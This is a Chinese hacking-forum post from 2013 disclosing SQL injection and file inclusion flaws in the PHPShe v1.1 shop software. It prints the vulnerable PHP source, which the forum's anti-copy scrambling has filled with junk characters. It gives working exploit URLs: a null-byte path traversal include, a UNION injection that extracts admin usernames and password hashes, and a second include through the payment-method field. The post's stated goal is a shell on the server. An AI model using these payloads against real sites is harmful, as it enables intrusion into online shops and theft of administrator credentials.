找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2083|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/  e) T( e6 {+ D% F3 E
/* Phpshe v1.1 Vulnerability
" j1 [$ T" s+ N5 L/* ========================5 Q5 V9 |$ J; M! U- h
/* By: : Kn1f3) S' a) Z/ ?/ J: e4 h
/* E-Mail : 681796@qq.com; {+ ?4 h) d/ X; ?& y, G$ {
/*******************************************************/3 o# y; ~( }1 `% p1 L
0×00 整体大概参数传输7 }+ z8 n1 `" g1 Q' e. A

. S' d; z0 f$ F
* S" V+ _9 v2 `" [2 d3 R# j
, a7 c: Q* ~& I% @. U* m' Y
//common.php: g: a+ ^; T( k6 N
if (get_magic_quotes_gpc()) {
4 c0 C; E  d( o: D" G4 C!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
  _* X1 K4 p0 N; q; P  N$ d& Y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');& {% y% c9 R' _0 L9 k
}
0 ?8 ~. a$ {8 X+ P* selse {
# }4 `  E9 t7 K, k$ y5 D. M4 C!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');- b8 u/ K9 ~& {/ d& S8 C* R9 C
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');+ `, h5 l6 Q9 ?( b9 ^
}8 {  Z5 J* f6 n- k* \$ ], |
session_start();
0 H: S, l* A* @! \) V: C* Z!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
" N* o; _$ }0 t& K5 F6 g- P1 E- j!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
1 Z1 X7 n( ^4 m6 X# a# D# w
6 \! J, l. @9 E* u& V0×01 包含漏洞
3 p4 b. {- a: c% D2 H* y) o 7 Q0 ^0 f3 a# R3 J

2 {/ _! K; O6 V1 `$ E//首页文件
+ I' I% ]/ i+ t( I- p& l$ x0 o  L<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
, }8 r' E8 `% v% E, ninclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
* B5 l) t# ]) L% h4 Bpe_result();
; \' T; W1 m8 _! o3 u7 N?>
/ _$ {9 e" c0 m! W  g1 L//common 文件 第15行开始9 \4 `  w1 ]( A  {1 D" [
url路由配置! x: J: r: r) q2 _1 \
$module = $mod = $act = 'index';
4 t7 r: O  r7 A/ {& x7 R$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);* r6 K( Y. t/ M1 X
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
7 C8 o- u& {  G$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);6 W8 N6 G# X9 M, k2 |6 B
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%009 O$ c! k% N+ g" E! n% `& g2 t


( s0 ]8 \! w: H, U6 N, v : |& v: x; l; h- w
0×02 搜索注入
6 }! \) g2 @* N0 ~. K
$ D1 Q7 q+ S+ k3 O/ K<code id="code2">

//product.php文件
6 `! R. M8 w$ n$ l, _case 'list':
- ~+ B# I. x' ~# T) h& a$category_id = intval($id);/ O& Y% k% R9 @% |8 m# }$ h" u
$info = $db->pe_select('category', array('category_id'=>$category_id));
9 ~' c) }' p* W: G5 l  U//搜索
4 M( x$ o* p+ F4 K; ~: O' v! P$sqlwhere = " and `product_state` = 1";
/ U+ _2 B$ i' ~  s7 Q9 r. wpe_lead('hook/category.hook.php');
$ |% n" |7 q. p+ ^6 Kif ($category_id) {
+ |* a0 ^9 V4 I$ Xwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";( n8 H% H2 K5 {: f6 z
}5 m& p0 }- m4 D, S
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
/ N  I7 ^5 `" }$ p( j' w# X; kif ($_g_orderby) {
4 W6 d% A" _& @$orderby = explode('_', $_g_orderby);
, N! j! V# H  C$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
! k3 B8 l! C' C( M+ F  b}
2 B# t% _% q* Ielse {
+ y. d( ?, w0 O: W/ c3 @7 \$sqlwhere .= " order by `product_id` desc";
# u3 N+ v7 z( W9 P  \% w& L}
# c& r* `4 Y6 @1 h6 ~7 }3 N$ Q$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
) {7 j; m: F! a* q3 u2 H//热卖排行
9 q) e0 `+ v$ W9 c2 [6 C6 I$product_hotlist = product_hotlist();, G% \2 \8 a" C8 F$ v- l
//当前路径
( _  A1 v4 X0 B+ [4 g8 j4 ?$nowpath = category_path($category_id);
! a- T0 R7 K/ I. \- y$seo = pe_seo($info['category_name']);
/ U4 b' X4 a8 m6 E/ P) Rinclude(pe_tpl('product_list.html'));
5 F% u: }& t; L9 R' l//跟进selectall函数库& P- a; q3 B% w8 w# X' Q
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())$ B- v7 c9 Y. R3 I% D# j
{* b- O, ~. t5 S9 R8 ^; h9 @
//处理条件语句( {) b+ R: ?' K, N/ t
$sqlwhere = $this->_dowhere($where);
2 j6 Z3 X/ r! @; n" breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);% O( }* {& ]- I2 }
}" l3 _: O2 C' {5 ^4 c% t$ y+ x3 C1 t
//exp
: d) p( W6 G3 |5 Y, Y2 Tproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='14 g, X( [; Q$ j7 h6 n

</code>+ M; }0 R- R; t- i4 \3 @' H
; v! |! F/ p3 s, v
0×03 包含漏洞2
0 T3 i9 T% F# m& h* u * p0 I/ b- f; P  T0 R0 X4 x
<code id="code3">

//order.php

case 'pay':


1 Z/ O9 g9 f2 D9 X9 ~$order_id = pe_dbhold($_g_id);


6 L; U1 l# r" S9 w$cache_payway = cache::get('payway');


9 l& G- ~& a, e5 p" Q8 X8 xforeach($cache_payway as $k => $v) {

$ _/ @% K" N% [
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 T; o$ o1 D, o9 Z* L. @  X8 o
if ($k == 'bank') {

( C+ a) x1 h) h& i
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

7 r  {8 d2 p4 w4 ]/ g
}

; U0 ?: _/ h/ e' D/ D
}

8 c- h2 d, S1 v
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

7 B. F! `2 i" N. S
!$order['order_id'] && pe_error('订单号错误...');


; H- j0 @% @; Nif (isset($_p_pesubmit)) {


2 |' f" z7 q1 X) v' r) ?/ @! Fif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

/ z3 D& x4 c0 s6 ~" O& t
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


! y: g6 x% S7 V! u0 _foreach ($info_list as $v) {

$ C1 `! d0 I* Y1 Q+ f% T/ C7 s" \
$order['order_name'] .= "{$v['product_name']};";
/ M* T1 [- o" h1 X" \8 u

  U' f" ^1 P6 U2 Y! w6 [" a. i
}

( _, k& I0 ~; |  g) w; I; S% y
echo '正在为您连接支付网站,请稍后...';


$ ]8 V# @8 j+ d$ u1 R- ]include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


. J# F7 ?* ~2 c$ H3 G% f8 X( h/ `}//当一切准备好的时候就可以进行"鸡肋包含了"

- R; F% [3 _: X
else {

! x! h2 ?1 k% s$ ]4 }. A
pe_error('支付错误...');

) m, o; ~& B4 J4 t; X8 Y0 X8 o2 n3 k
}


) n* C, n% y6 |) }}

- J% ~7 }1 u, B/ x
$seo = pe_seo('选择支付方式');


( C: M. v) t% r7 Q! N) _* v6 N& sinclude(pe_tpl('order_pay.html'));

$ w* |& |2 F1 D* c
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>9 I; M4 M* @8 c. K0 O/ u* c2 ^; t
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表